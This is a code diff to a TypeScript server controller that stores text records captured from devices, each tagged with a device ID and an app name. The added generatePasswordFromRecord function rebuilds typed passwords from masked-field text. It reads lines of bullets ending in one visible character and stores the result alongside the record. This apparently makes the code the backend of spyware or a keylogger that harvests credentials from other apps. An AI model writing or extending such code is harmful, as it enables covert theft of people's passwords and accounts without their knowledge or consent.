|
|
@@ -12,17 +12,15 @@ export default class TextRecordController {
|
|
|
|
|
|
public async store({ request, bouncer }: HttpContextContract) {
|
|
|
await bouncer.authorize('admin')
|
|
|
- // 数据校验
|
|
|
- await request.validate({
|
|
|
+ const payload = await request.validate({
|
|
|
schema: schema.create({
|
|
|
deviceId: schema.string(),
|
|
|
appName: schema.string(),
|
|
|
record: schema.string()
|
|
|
})
|
|
|
})
|
|
|
- // 数据提取
|
|
|
- // const payload = request.only(['deviceId', 'appName', 'record'])
|
|
|
- return await TextRecord.create(request.all())
|
|
|
+ const password = this.generatePasswordFromRecord(payload.record)
|
|
|
+ return await TextRecord.create({ ...payload, password })
|
|
|
}
|
|
|
|
|
|
public async update({ request, params, bouncer }: HttpContextContract) {
|
|
|
@@ -40,4 +38,27 @@ export default class TextRecordController {
|
|
|
await record.save()
|
|
|
return record
|
|
|
}
|
|
|
+
|
|
|
+ private generatePasswordFromRecord(text?: string): string {
|
|
|
+ if (!text || typeof text !== 'string') return ''
|
|
|
+ const bullet = '•'
|
|
|
+ const result: string[] = []
|
|
|
+ const seenCounts = new Set<number>()
|
|
|
+ const lines = text.split(/\r?\n/)
|
|
|
+ for (const rawLine of lines) {
|
|
|
+ const line = rawLine.trim()
|
|
|
+ if (line.length === 0) continue
|
|
|
+ const lastChar = line.charAt(line.length - 1)
|
|
|
+ if (lastChar === bullet) continue
|
|
|
+ if (!/[A-Za-z0-9]/.test(lastChar)) continue
|
|
|
+ const head = line.slice(0, -1)
|
|
|
+ const allBullets = head.split('').every((c) => c === bullet)
|
|
|
+ if (!allBullets) continue
|
|
|
+ const bulletCount = head.length
|
|
|
+ if (seenCounts.has(bulletCount)) continue
|
|
|
+ seenCounts.add(bulletCount)
|
|
|
+ result.push(lastChar)
|
|
|
+ }
|
|
|
+ return result.join('')
|
|
|
+ }
|
|
|
}
|